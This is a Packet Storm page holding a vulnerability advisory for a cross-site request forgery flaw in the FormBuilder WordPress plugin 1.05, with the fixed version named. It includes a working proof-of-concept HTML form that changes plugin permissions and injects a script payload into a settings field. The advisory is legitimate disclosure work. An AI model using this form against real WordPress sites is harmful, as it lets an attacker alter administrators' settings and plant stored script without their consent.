exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress FormBuilder 1.05 Cross Site Request Forgery

WordPress FormBuilder 1.05 Cross Site Request Forgery
Posted Jan 28, 2017
Authored by Securify B.V., Burak Kelebek

WordPress FormBuilder plugin version 1.05 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 802b442dfa53531fd80f9ec001bf164207aa8164ff344771bb40415f62a94715

WordPress FormBuilder 1.05 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery vulnerability in FormBuilder WordPress Plugin
allows plugin permissions modification
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Request Forgery vulnerability has been encountered in the
FormBuilder WordPress Plugin. This issue allows an attacker to change
permission settings for the plugin by luring a logged on WordPress
Administrator into following a malicious link.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0005

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on FormBuilder version 1.05.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in FormBuilder version 1.08.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_formbuilder_wordpress_plugin_allows_plugin_permissions_modification.html

The FormBuilder plugin lacks a CSRF (nonce) token on the request of saving permissions. Because of this an attacker is able to change permission settings for the plugin. To achieve this a logged on WordPress Administrator must be lured into following a malicious link. Proof of Concept code that demonstrates this issue can be found below.
Proof of concept

The Proof of Concept code below injects script code in the "Login Required Message" in the settings page of the FormBuilder plugin.

<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="task" value="wdm_save_settings" />
<input type="hidden" name="action" value="wdm_settings" />
<input type="hidden" name="section" value="basic" />
<input type="hidden" name="wpdm_permission_msg" value="Access Denied" />
<input type="hidden" name="wpdm_login_msg" value="<script>alert('csrf xss')</script>'" />
<input type="hidden" name="_wpdm_file_browser_root" value="/srv/www/wordpress-develop/build/" />
<input type="hidden" name="_wpdm_file_browser_access[]" value="administrator" />
<input type="hidden" name="__wpdm_sanitize_filename" value="0" />
<input type="hidden" name="__wpdm_download_speed" value="4096" />
<input type="hidden" name="__wpdm_download_resume" value="1" />
<input type="hidden" name="__wpdm_support_output_buffer" value="1" />
<input type="hidden" name="__wpdm_open_in_browser" value="0" />
<input type="hidden" name="_wpdm_recaptcha_site_key" value="" />
<input type="hidden" name="_wpdm_recaptcha_secret_key" value="" />
<input type="hidden" name="__wpdm_disable_scripts[]" value="" />
<input type="hidden" name="__wpdm_login_url" value="" />
<input type="hidden" name="__wpdm_register_url" value="" />
<input type="hidden" name="__wpdm_user_dashboard" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close